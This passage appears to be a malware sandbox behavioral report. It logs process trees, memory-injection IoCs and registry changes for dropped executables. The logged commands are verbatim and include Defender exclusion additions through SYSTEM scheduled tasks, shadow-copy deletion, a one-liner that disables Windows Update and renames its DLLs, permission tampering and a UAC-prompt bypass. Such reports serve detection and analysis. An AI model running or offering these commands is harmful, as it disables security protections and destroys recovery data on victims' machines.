Token: SeTakeOwnershipPrivilege	5644	powershell.exe
Token: SeLoadDriverPrivilege	5644	powershell.exe
Token: SeSystemProfilePrivilege	5644	powershell.exe
Token: SeSystemtimePrivilege	5644	powershell.exe
Token: SeProfSingleProcessPrivilege	5644	powershell.exe
Token: SeIncBasePriorityPrivilege	5644	powershell.exe
Token: SeCreatePagefilePrivilege	5644	powershell.exe
Token: SeBackupPrivilege	5644	powershell.exe
Token: SeRestorePrivilege	5644	powershell.exe
Token: SeShutdownPrivilege	5644	powershell.exe
Token: SeDebugPrivilege	5644	powershell.exe
Token: SeSystemEnvironmentPrivilege	5644	powershell.exe
Token: SeRemoteShutdownPrivilege	5644	powershell.exe
Token: SeUndockPrivilege	5644	powershell.exe
Token: SeManageVolumePrivilege	5644	powershell.exe
Token: 33	5644	powershell.exe
Token: 34	5644	powershell.exe
Token: 35	5644	powershell.exe
Token: 36	5644	powershell.exe
Token: SeIncreaseQuotaPrivilege	5644	powershell.exe
Token: SeSecurityPrivilege	5644	powershell.exe
Token: SeTakeOwnershipPrivilege	5644	powershell.exe
Token: SeLoadDriverPrivilege	5644	powershell.exe
Token: SeSystemProfilePrivilege	5644	powershell.exe
Token: SeSystemtimePrivilege	5644	powershell.exe
Token: SeProfSingleProcessPrivilege	5644	powershell.exe
Token: SeIncBasePriorityPrivilege	5644	powershell.exe
Token: SeCreatePagefilePrivilege	5644	powershell.exe
Token: SeBackupPrivilege	5644	powershell.exe
Token: SeRestorePrivilege	5644	powershell.exe
Token: SeShutdownPrivilege	5644	powershell.exe
Token: SeDebugPrivilege	5644	powershell.exe
Token: SeSystemEnvironmentPrivilege	5644	powershell.exe
Token: SeRemoteShutdownPrivilege	5644	powershell.exe
Token: SeUndockPrivilege	5644	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2500	NFGJSk2B.exe
2500	NFGJSk2B.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5220 wrote to memory of 2580	5220	6ob511.exe	107
PID 2580 wrote to memory of 4536	2580	cmd.exe	109
PID 2580 wrote to memory of 2544	2580	cmd.exe	110
PID 2580 wrote to memory of 2608	2580	cmd.exe	113
PID 5220 wrote to memory of 3772	5220	6ob511.exe	114
PID 3772 wrote to memory of 5448	3772	cmd.exe	119
PID 4540 wrote to memory of 5704	4540	cmd.exe	120
PID 3772 wrote to memory of 5680	3772	cmd.exe	121
PID 3772 wrote to memory of 5656	3772	cmd.exe	124
PID 5664 wrote to memory of 5592	5664	cmd.exe	125
PID 5220 wrote to memory of 5544	5220	6ob511.exe	126
PID 5544 wrote to memory of 5492	5544	cmd.exe	128
PID 5544 wrote to memory of 5464	5544	cmd.exe	129
PID 5544 wrote to memory of 5756	5544	cmd.exe	132
PID 5372 wrote to memory of 5872	5372	cmd.exe	133
PID 5220 wrote to memory of 5892	5220	6ob511.exe	134
PID 5892 wrote to memory of 6048	5892	cmd.exe	136
PID 5892 wrote to memory of 5936	5892	cmd.exe	137
PID 6056 wrote to memory of 6080	6056	cmd.exe	140
PID 5892 wrote to memory of 6016	5892	cmd.exe	141
PID 5220 wrote to memory of 6132	5220	6ob511.exe	142
PID 6132 wrote to memory of 3768	6132	cmd.exe	144
PID 6132 wrote to memory of 5288	6132	cmd.exe	145
PID 6132 wrote to memory of 2620	6132	cmd.exe	148
PID 116 wrote to memory of 5164	116	cmd.exe	149
PID 5220 wrote to memory of 1196	5220	6ob511.exe	150
PID 1196 wrote to memory of 3900	1196	YjjSIR.exe	154
PID 1196 wrote to memory of 4980	1196	YjjSIR.exe	155
PID 1196 wrote to memory of 3048	1196	YjjSIR.exe	158
PID 3900 wrote to memory of 1800	3900	cmd.exe	161
PID 1196 wrote to memory of 5192	1196	YjjSIR.exe	162
PID 1196 wrote to memory of 3204	1196	YjjSIR.exe	164
PID 1196 wrote to memory of 4608	1196	YjjSIR.exe	166
PID 1196 wrote to memory of 3588	1196	YjjSIR.exe	167
PID 1196 wrote to memory of 628	1196	YjjSIR.exe	170
PID 1196 wrote to memory of 4596	1196	YjjSIR.exe	172
PID 1196 wrote to memory of 3712	1196	YjjSIR.exe	174
PID 1196 wrote to memory of 4368	1196	YjjSIR.exe	176
PID 3588 wrote to memory of 5416	3588	cmd.exe	178
PID 3204 wrote to memory of 5732	3204	cmd.exe	179
PID 3588 wrote to memory of 5672	3588	cmd.exe	180
PID 5732 wrote to memory of 5680	5732	net.exe	181
PID 4368 wrote to memory of 5408	4368	cmd.exe	182
PID 3712 wrote to memory of 5396	3712	cmd.exe	183
PID 1196 wrote to memory of 2972	1196	YjjSIR.exe	186
PID 1196 wrote to memory of 5596	1196	YjjSIR.exe	188
PID 3588 wrote to memory of 5608	3588	cmd.exe	189
PID 3712 wrote to memory of 5456	3712	cmd.exe	191
PID 5596 wrote to memory of 5876	5596	cmd.exe	192
PID 2972 wrote to memory of 5496	2972	cmd.exe	193
PID 1196 wrote to memory of 5512	1196	YjjSIR.exe	194
PID 5512 wrote to memory of 5348	5512	cmd.exe	196
PID 3712 wrote to memory of 5364	3712	cmd.exe	197
PID 2972 wrote to memory of 5612	2972	cmd.exe	198
PID 1196 wrote to memory of 5604	1196	YjjSIR.exe	199
PID 5604 wrote to memory of 5884	5604	cmd.exe	201
PID 2972 wrote to memory of 5932	2972	cmd.exe	202
PID 1196 wrote to memory of 6024	1196	YjjSIR.exe	203
PID 6024 wrote to memory of 3236	6024	cmd.exe	205
PID 5656 wrote to memory of 6052	5656	cmd.exe	206
PID 1196 wrote to memory of 6060	1196	YjjSIR.exe	207
PID 1196 wrote to memory of 5848	1196	YjjSIR.exe	209
PID 6060 wrote to memory of 224	6060	cmd.exe	211
PID 5848 wrote to memory of 5288	5848	cmd.exe	212

System policy modification 1 TTPs 4 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	YjjSIR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	YjjSIR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	NFGJSk2B.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	NFGJSk2B.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_v3.0.14.exe
"C:\Users\Admin\AppData\Local\Temp\install_v3.0.14.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4508

C:\Users\Public\YqMmwy\6ob511.exe
C:\Users\Public\YqMmwy\6ob511.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\YqMmwy\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\YqMmwy\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4536
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2544
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3772
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5448
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5680
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5544
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5492
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5892
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6048
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5936
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3768
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5288
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2620
- C:\Program Files (x86)\YjjSIR\YjjSIR.exe
  "C:\Program Files (x86)\YjjSIR\YjjSIR.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1196
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3900
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1800
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4980
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3048
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5192
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3204
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5732
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5680
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:520
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:6096
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3508
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3400
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5376
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1668
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3752
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5176
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5152
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2780
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3784
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1516
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3464
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1168
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2276
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:764
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4620
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5420
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2468
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1116
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5716
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:612
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4740
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5644
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4608
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\YjjSIR\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\YjjSIR\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5416
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5672
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5608
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:628
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4596
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3712
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5396
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5456
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5364
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4368
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5408
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:2972
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5496
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5612
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5932
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5596
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5876
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\YjjSIR.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5512
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\YjjSIR.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5348
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\YjjSIR.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5604
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\YjjSIR.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5884
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\YjjSIR.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
